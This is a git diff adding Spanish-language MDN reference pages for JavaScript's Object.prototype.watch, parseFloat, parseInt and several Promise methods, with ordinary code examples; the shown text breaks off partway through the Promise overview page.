index 0000000000..584a53350b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/watch/index.html
@@ -0,0 +1,104 @@
+---
+title: Object.prototype.watch()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/watch
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+translation_of: Archive/Web/JavaScript/Object.watch
+---
+<div>
+ {{JSRef("Objetos_globales", "Object")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Controla si se asigna un valor a una propiedad y ejecuta una función cuando esto ocurre.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<p><code>watch(
+ <i>
+  propiedad</i>
+ ,
+ <i>
+  delegado</i>
+ ) </code></p>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<dl>
+ <dt>
+  <code>nombrePropiedad</code></dt>
+ <dd>
+  Nombre de la propiedad del objeto.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>funcionDelegada</code></dt>
+ <dd>
+  Función a llamar.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Controla si se asigna una propiedad llamada <code>nombrePropiedad</code> en este objeto, llamando a <code>funcionDelegada(propiedad, valorViejo, valorNuevo)</code> siempre que <code>nombrePropiedad</code> sea asignada y almacene el valor de retorno de esa propiedad. La función encargada de dicho control puede filtrar (o anular) el valor asignado, devolviendo un <code>valorNuevo</code> modificado (o devolviendo <code>valorViejo</code>).</p>
+<p>Si elimina una propiedad para la que se ha establecido un control, ese control no desaparece. Si más tarde se vuelve a crear la propiedad, el control volverá a tener efecto.</p>
+<p>Para eliminar un control, use el método {{jsxref("Object.prototype.unwatch()")}}. Por defecto, el método <code>watch</code> se hereda para cada uno de los objetos descendientes de {{jsxref("Object")}}.</p>
+<p>El depurador JavaScript tiene funciones similares a las que proporciona este método, además de otras opciones de depuración. Para más información sobre el depurador, vea <a href="/es/docs/Venkman">Venkman</a>.</p>
+<p>En NES 3.0 y 4.x, <code>funcionDelegada</code> se llama desde las asignaciones del script además del código nativo. En Firefox, <code>funcionDelegada</code> se llama solamente en las asignaciones del script, pero no en el código nativo. Por ejemplo, <code>window.watch('location', miDelegado)</code> no llamará a <code>miDelegado</code> si el usuario hace click sobre un enlace a un ancla dentro del documento actual. Sin embargo, el siguiente código llamará a <code>miDelegado</code>:</p>
+<pre class="brush: js"><code>window.location += '#miAncla';</code>
+</pre>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_watch_y_unwatch" name="Ejemplo:_Usando_watch_y_unwatch">Ejemplo: Usando <code>watch</code> y <code>unwatch</code></h3>
+<pre class="brush: js">var objeto = {p:1};
+objeto.watch("p",
+   function (identificador,valorViejo,valorNuevo) {
+      document.writeln("objeto." + identificador + " ha cambiado de "
+         + valorViejo + " a " + valorNuevo);
+      return valorNuevo;
+   });
+
+objeto.p = 2;
+objeto.p = 3;
+delete objeto.p;
+objeto.p = 4;
+
+objeto.unwatch('p');
+objeto.p = 5;
+</pre>
+<p>Este script muestra lo siguiente:</p>
+<pre>objeto.p ha cambiado de 1 a 2
+objeto.p ha cambiado de 2 a 3
+objeto.p ha cambiado de undefined a 4
+</pre>
+<h3 id="Ejemplo:_Usando_watch_para_validar_las_propiedades_de_un_objeto" name="Ejemplo:_Usando_watch_para_validar_las_propiedades_de_un_objeto">Ejemplo: Usando <code>watch</code> para validar las propiedades de un objeto</h3>
+<p>Usted puede usar <code>watch</code> para comprobar cualquier asignación a las propiedades de un objecto. Este ejemplo asegura que cada Persona siempre tiene un nombre válido y una edad entre 0 y 200.</p>
+<pre class="brush: js">Persona = function(nombre,edad) {
+  this.watch("edad", Persona.prototype._esAsignacionValida);
+  this.watch("nombre",Persona.prototype._esAsignacionValida);
+  this.nombre=nombre;
+  this.edad=edad;
+};
+
+Persona.prototype.toString = function() { return this.nombre + "," + this.edad;};
+
+Persona.prototype._esAsignacionValida = function(identificador,valorViejo,valorNuevo) {
+  if (id=="nombre" &amp;&amp; (!valorNuevo|| valorNuevo.length&gt;30)) { throw new RangeError("nombre no válido para " + this); }
+  if (id=="edad"  &amp;&amp; (valorNuevo&lt;0 || valorNuevo&gt;200))      { throw new RangeError("edad no válida para " + this ); }
+  return valorNuevo;
+};
+
+alejandra = new Persona("Alejandra",29); // --&gt; Alejandra,29
+document.writeln(alejandra);
+
+try {
+  alejandra.nombre="";  // --&gt; Error "nombre no válido para  Alejandra,29"
+} catch (excepcion) { document.writeln(excepcion); }
+
+try {
+  alejandra.edad=-4;   // --&gt; Error "edad no válida para  Alejandra,29"
+} catch (excepcion) { document.writeln(excepcion); }
+</pre>
+<p>Este script muestra lo siguiente:</p>
+<pre>Alejandra,29
+RangeError: nombre no válido para  Alejandra,29
+RangeError: edad no válida para  Alejandra,29
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/parsefloat/index.html b/files/es/web/javascript/referencia/objetos_globales/parsefloat/index.html
new file mode 100644
index 0000000000..16510d882d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/parsefloat/index.html
@@ -0,0 +1,58 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Referencia/Objetos_globales/parseFloat
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Convierte (parsea) un argumento de tipo cadena y devuelve un número de punto flotante.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code>parseFloat(<em>cadena</em> ) </code></p>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>cadena</code></dt>
+ <dd>Una cadena que representa al valor que se desea convertir.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>parseFloat</code> es una función de alto nivel y no está asociada a ningún objeto.</p>
+
+<p><code>parseFloat</code> convierte su argumento, una cadena, y devuelve un número de punto flotante. Si encuentra un carácter diferente al signo (+ o -), numerales (0-9), un punto decimal o un exponente, devuelve el valor hasta ese punto e ignora ese carácter y todos los correctos siguientes. Se permiten espacios anteriores y posteriores.</p>
+
+<p>Si el primer carácter no se puede convertir a número, <code>parseFloat</code> devuelve <code>NaN</code>.</p>
+
+<p>Para fines aritméticos, el valor <code>NaN</code> no es un número para ninguna base. Puede llamar a la función {{jsxref("isNaN")}} para determinar si el resultado de <code>parseFloat</code> es <code>NaN</code>. Si se pasa <code>NaN</code> en operaciones aritméticas, la operación resultante también será <code>NaN</code>.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_parseFloat_devolviendo_un_n.C3.BAmero" name="Ejemplo:_parseFloat_devolviendo_un_n.C3.BAmero">Ejemplo: <code>parseFloat</code> devolviendo un número</h3>
+
+<p>Todos los siguientes ejemplos devuelven 3.14.</p>
+
+<pre class="brush: js notranslate">parseFloat("3.14");
+parseFloat("314e-2");
+parseFloat("0.0314E+2"); v
+var cadena = "3.14"; parseFloat(cadena);
+parseFloat("3.14más caracteres no dígitos");</pre>
+
+<h3 id="Example_parseFloat_returning_NaN" name="Example:_parseFloat_returning_NaN">Example: <code>parseFloat</code> returning NaN</h3>
+
+<p>El siguiente ejemplo devuelve <code>NaN</code>:</p>
+
+<pre class="brush: js notranslate"><code>parseFloat("F</code><code>F2");</code></pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Objetos_globales/isNan", "isNaN()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/parseint/index.html b/files/es/web/javascript/referencia/objetos_globales/parseint/index.html
new file mode 100644
index 0000000000..30e3874a34
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/parseint/index.html
@@ -0,0 +1,89 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Referencia/Objetos_globales/parseInt
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Convierte (parsea) un argumento de tipo cadena y devuelve un entero de la base especificada.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">parseInt(<em>string</em>, <em>base</em>);</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>cadena</code></dt>
+ <dd>Una cadena que representa el valor que se desea convertir.</dd>
+</dl>
+
+<dl>
+ <dt><code>base</code></dt>
+ <dd>Un entero que representa la base de la mencionada cadena.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p><code>parseInt</code> es una función de alto nivel y no está asociada a ningún objeto.</p>
+
+<p>La función <code>parseInt</code> comprueba el primer argumento, una cadena, e intenta devolver un entero de la base especificada. Por ejemplo, una base de 10 indica una conversión a número decimal, 8 octal, 16 hexadecimal, y así sucesivamente. Para bases superiores a 10, las letras del alfabeto indican numerales mayores que 9. Por ejemplo, para números hexadecimales (base 16), se utiliza de la A hasta la F.</p>
+
+<p>Si <code>parseInt</code> encuentra un carácter que no es un numeral de la base especificada, lo ignora a él y a todos los caracteres correctos siguientes, devolviendo el valor entero obtenido hasta ese punto. <code>parseInt</code> trunca los números en valores enteros. Se permiten espacios anteriores y posteriores.</p>
+
+<p>Si no se especifica la base o se especifica como 0, JavaScript asume lo siguiente:</p>
+
+<ul>
+ <li>Si el parámetro <code>cadena</code> comienza por "0x", la base es 16 (hexadecimal).</li>
+ <li>Si el parámetro <code>cadena</code> comienza por "0", la base es de 8 (octal). Esta característica está desaconsejada.</li>
+ <li>Si el parámetro <code>cadena</code> comienza por cualquier otro valor, la base es 10 (decimal).</li>
+</ul>
+
+<p>Si el primer carácter no se puede convertir en número, <code>parseInt</code> devuelve <code>NaN</code>.</p>
+
+<p>Para fines aritméticos, el valor <code>NaN</code> no es un número en ninguna base. Puede llamar a la función {{jsxref("Objetos_globales/isNaN", "isNaN")}} para determinar se el resultado de <code>parseInt</code> es <code>NaN</code>. Si se pasa <code>NaN</code> en operaciones aritméticas, la operación resultante también será <code>NaN</code>.</p>
+
+<p>Para convertir números a su literal cadena en una base en particular, utilice <code>intValue.toString(base)</code>.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_parseInt" name="Ejemplo:_Usando_parseInt">Ejemplo: Usando <code>parseInt</code></h3>
+
+<p>Todos los siguientes ejemplos devuelven 15:</p>
+
+<pre class="brush: js">parseInt("F", 16);
+parseInt("17", 8);
+parseInt("15", 10);
+parseInt(15.99, 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("12", 13);
+</pre>
+
+<p>Todos los siguientes ejemplos devuelven <code>NaN</code>:</p>
+
+<pre class="brush: js">parseInt("Hello", 8); // No es un número en absoluto
+parseInt("0x7", 10);  // No es de base 10
+parseInt("546", 2);   // Los dígitos no son válidos para representaciones binarias.
+</pre>
+
+<p>Incluso aunque la base especificada es diferente, todos los siguientes ejemplos devuelven 17 ya que el argumento <code>cadena</code> comienza por "<code>0x</code>".</p>
+
+<pre class="brush: js">parseInt("0x11", 16);
+parseInt("0x11", 0);
+parseInt("0x11");
+</pre>
+
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Véase También</h3>
+
+<ul>
+ <li>{{jsxref("Objetos_globales/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Objetos_globales/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/all/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/all/index.html
new file mode 100644
index 0000000000..79a16aadc6
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/all/index.html
@@ -0,0 +1,123 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/all
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Método(2)
+  - Promesa
+  - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Promise.all(iterable)</strong></code> devuelve una promesa que termina correctamente cuando todas las promesas en el argumento iterable han sido concluídas con éxito, o bien rechaza la petición con el motivo pasado por la primera promesa que es rechazada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>Promise.all(iterable)</var>;</pre>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Un objeto iterable, por ejemplo un {{jsxref("Array")}}. Vea <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una {{jsxref("Promise")}}  que se cumplirá cuando todas las promesas del argumento iterable hayan sido cumplidas, o bien se rechazará cuando alguna de ellas se rechace.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><strong><code>Promise.all</code> </strong> se cumple cuando todas las promesas del iterable dado se han cumplido, o es rechazada si alguna promesa no se cumple. {{jsxref("Promise.resolve")}}.</p>
+
+<p>Si alguna de las promesas pasadas en el argumento iterable falla, la promesa <code>all</code> es rechazada inmediatamente con el valor de la promesa que fué rechazada, descartando todas las demás promesas hayan sido o no cumplidas. Si se pasa un array vacío a <code>all</code> , la promesa se cumple inmediatamente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_Promise.all">Uso de <code>Promise.all</code></h3>
+
+<p><code>Promise.all</code> espera a que todo se cumpla (o bien al primer rechazo).</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, "foo");
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<h3 id="Promise.all_comportamiento_de_fallo-rápido"><code>Promise.all</code> comportamiento de fallo-rápido</h3>
+
+<p><code>Promise.all</code> se rechaza si uno de los elementos ha sido rechazado y <code>Promise.all</code> falla rápido: Si tienes cuatro promesas que se resuelven después de un timeout y una de ellas falla inmediatamente, entonces <code>Promise.all</code> se rechaza inmediatamente.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, "one");
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 2000, "two");
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 3000, "three");
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 4000, "four");
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+  reject("reject");
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}, reason =&gt; {
+  console.log(reason)
+});
+
+//From console:
+//"reject"
+
+// Evenly, it's possible to use .catch
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}).catch(reason =&gt; {
+  console.log(reason)
+});
+
+//From console:
+//"reject"
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{Compat("javascript/promise","Promise.all")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/catch/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/catch/index.html
new file mode 100644
index 0000000000..a99a071979
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/catch/index.html
@@ -0,0 +1,183 @@
+---
+title: Promise.prototype.catch()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/catch
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong>catch()</strong> retorna una <code>Promise</code> y solo se ejecuta en los casos en los que la promesa se marca como <code>Reject</code>. Se comporta igual que al llamar {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}} (de hecho, al llamar <code>obj.catch(onRejected)</code> internamente llama a <code>obj.then(undefined, onRejected)</code>).</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><var>p.catch(onRejected)</var>;
+
+p.catch(function(reason) {
+   // rejection
+});
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>onRejected</dt>
+ <dd>Una {{jsxref("Function")}} llamada cuando la <code>Promise</code> es rechazada. Esta función tiene un argumento:
+ <dl>
+  <dt><code>reason</code></dt>
+  <dd>La razón del rechazo.</dd>
+ </dl>
+ La promesa devuelta por <code>catch()</code> es rechazada si <code>onRejected</code> lanza un error o retorna una <code>Promise</code> que a su vez se rechaza, de cualquier otra manera la <code>Promise</code> es resuelta.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno_(Return)">Valor de Retorno (Return)</h3>
+
+<p>Internamente llama a <code>Promise.prototype.then</code> en el objeto sobre el que se llama, pasándole el parámetro <code>undefined</code> y el manejador <code>onRejected</code> recibido; luego devuelve un valor de esa llamada (que es una {{jsxref("Promise")}}).</p>
+
+<p><strong>Demostración de la llamada interna:</strong></p>
+
+<pre class="brush: js">// overriding original Promise.prototype.then/catch just to add some logs
+(function(Promise){
+    var originalThen = Promise.prototype.then;
+    var originalCatch = Promise.prototype.catch;
+
+    Promise.prototype.then = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; called .then on %o with arguments: %o', this, arguments);
+        return originalThen.apply(this, arguments);
+    };
+    Promise.prototype.catch = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; called .catch on %o with arguments: %o', this, arguments);
+        return originalCatch.apply(this, arguments);
+    };
+
+})(this.Promise);
+
+
+
+// calling catch on an already resolved promise
+Promise.resolve().catch(function XXX(){});
+
+// logs:
+// &gt; &gt; &gt; &gt; &gt; &gt; called .catch on Promise{} with arguments: Arguments{1} [0: function XXX()]
+// &gt; &gt; &gt; &gt; &gt; &gt; called .then on Promise{} with arguments: Arguments{2} [0: undefined, 1: function XXX()]
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>catch</code> puede ser muy útil para el manejo de errores en tu código con promesas.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_y_encadenando_el_método_catch">Usando y encadenando el método <code>catch</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve('Success');
+});
+
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  throw 'oh, no!';
+}).catch(function(e) {
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  console.log('Not fired due to the catch');
+});
+
+// The following behaves the same as above
+p1.then(function(value) {
+  console.log(value); // "Success!"
+  return Promise.reject('oh, no!');
+}).catch(function(e) {
+  console.log(e); // "oh, no!"
+}).then(function(){
+  console.log('after a catch the chain is restored');
+}, function () {
+  console.log('Not fired due to the catch');
+});
+</pre>
+
+<h3 id="Trucos_cuando_lanzamos_errores">Trucos cuando lanzamos errores</h3>
+
+<pre class="brush: js">// Hacer un throw llamará al método catch
+var p1 = new Promise(function(resolve, reject) {
+  throw 'Uh-oh!';
+});
+
+p1.catch(function(e) {
+  console.log(e); // "Uh-oh!"
+});
+
+// Los errores que se lancen dentro de funciones asíncronas actuarán como errores no capturados
+var p2 = new Promise(function(resolve, reject) {
+  setTimeout(function() {
+    throw 'Uncaught Exception!';
+  }, 1000);
+});
+
+p2.catch(function(e) {
+  console.log(e); // Nunca será llamado
+});
+
+// Errores lanzados después de resolve() serán omitidos
+var p3 = new Promise(function(resolve, reject) {
+  resolve();
+  throw 'Silenced Exception!';
+});
+
+p3.catch(function(e) {
+   console.log(e); // Nunca será llamado
+});</pre>
+
+<h3 id="Si_se_resuelve_la_promesa">Si se resuelve la promesa</h3>
+
+<pre class="brush: js">// Crea una promesa que no llamará a <code>onReject</code>
+var p1 = Promise.resolve("calling next");
+
+var p2 = p1.catch(function (reason) {
+    // Nunca será llamado
+    console.log("catch p1!");
+    console.log(reason);
+});
+
+p2.then(function (value) {
+    console.log("next promise's onFulfilled"); /* next promise's onFulfilled */
+    console.log(value); /* calling next */
+}, function (reason) {
+    console.log("next promise's onRejected");
+    console.log(reason);
+});</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial en el standar ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.promise.catch")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/finally/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/finally/index.html
new file mode 100644
index 0000000000..8d21aa785a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/finally/index.html
@@ -0,0 +1,95 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise/finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>finally()</strong></code> devuelve una {{jsxref("Promise")}}. Cuando la promesa se resuelve, sea exitosa o rechazada, la función de callback específicada será ejecutada. Esto ofrece una forma de ejecutar código sin importar como se haya resuelto la promesa.</p>
+
+<p>Esto ayuda a evitar tener código duplicado tanto en el {{jsxref("Promise.then", "then()")}} como en el {{jsxref("Promise.catch", "catch()")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>p.finally(alFinalizar)</var>;
+
+p.finally(function() {
+   // finalizada (exitosa o rechazada)
+});
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>alFinalizar</code></dt>
+ <dd>Una {{jsxref("Function")}} llamada cuando la <code>Promise</code> se resuelve con éxito o falla.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Devuelve una {{jsxref("Promise")}} cuyo <code>finally</code> fue fijado a la función específicada en <code>alFinalizar</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>finally()</code> puede ser de utilidad si quieres hacer algún proceso o limpieza una vez que la promesa termina, sin importar su resultado.</p>
+
+<p>Utilizar <code>finally()</code> es muy similar a llamar <code>.then(onFinally, onFinally)</code>, sin embargo tiene algunas diferencias:</p>
+
+<ul>
+ <li>Cuando usamos una función <code>inline</code>, se la puede pasar una sola vez, en vez de estar forzado a declararla dos veces, o guardarla en una variable.</li>
+ <li>Un callback <code>finally</code> no recibe ningún argumento, ya que no hay una manera fehaciente de determinar si la promesa fue exitosa o fallida. Este caso de uso es precisamente para cuando <em>no nos importa</em> la razón por la que falló o el valor al que resuelve, y no hay necesidad de proveerlos.</li>
+ <li>A diferencia de <code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code> (que va a resolver a <code>undefined</code>), <code>Promise.resolve(2).finally(() =&gt; {})</code> resolverá con un <code>2</code>.</li>
+ <li>Del mismo modo, a diferencia de <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> (que resolverá con <code>undefined</code>), <code>Promise.reject(3).finally(() =&gt; {})</code> será rechazada con un <code>3</code>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota:</strong> Un <code>throw</code> (o retornar una promesa rechazada) en el callback <code>finally</code> va a rechazar la nueva promesa con la razón de rechazo especificada al llamar <code>throw()</code>.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oops, no hemos obtenido un JSON!");
+  })
+  .then(function(json) { /* procesar el JSON */ })
+  .catch(function(error) { console.log(error); /* esta línea podría arrojar error, e.g. cuando console = {} */ })
+  .finally(function() { isLoading = false; });
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.finally', 'Promise.prototype.finally')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegador">Compatibilidad en navegador</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/promise/index.html b/files/es/web/javascript/referencia/objetos_globales/promise/index.html
new file mode 100644
index 0000000000..58a2319c2f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/promise/index.html
@@ -0,0 +1,222 @@
+---
+title: Promise
+slug: Web/JavaScript/Referencia/Objetos_globales/Promise
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Promesa
+  - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>Promise</code></strong> (Promesa) es usado para computaciones asíncronas. Una promesa representa un valor que puede estar disponible ahora, en el futuro, o nunca.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">new Promise( /* ejecutor */ function(resolver, rechazar) { ... } );</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>ejecutor</dt>
+ <dd>Una función con los argumentos <code>resolver</code> y <code>rechazar</code>. La función <code>ejecutor</code> es ejecutada inmediatamente por la implementación de la Promesa, pasándole las funciones <code>resolver</code> y <code>rechazar</code> (el ejecutor es llamado incluso antes de que el constructor de la <code>Promesa</code> devuelva el objeto creado). Las funciones <code>resolver</code> y <code>rechazar</code>, al ser llamadas, resuelven o rechazan la promesa, respectivamente. Normalmente el ejecutor inicia un trabajo asíncrono, y luego, una vez que es completado, llama a la función <code>resolver</code> para resolver la promesa o la rechaza si ha ocurrido un error.<br>
+ Si un error es lanzado en la función ejecutor, la promesa es rechazada y el valor de retorno del ejecutor es rechazado.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Una <strong>Promesa</strong> es un proxy para un valor no necesariamente conocido en el momento que es creada la promesa. Permite asociar manejadores que actuarán asincrónicamente sobre un eventual valor en caso de éxito, o la razón de falla en caso de una falla. Esto permite que métodos asíncronos devuelvan valores como si fueran síncronos: en vez de inmediatamente retornar el valor final, el método asíncrono devuelve una <em>promesa</em> de suministrar el valor en algún momento en el futuro.</p>
+
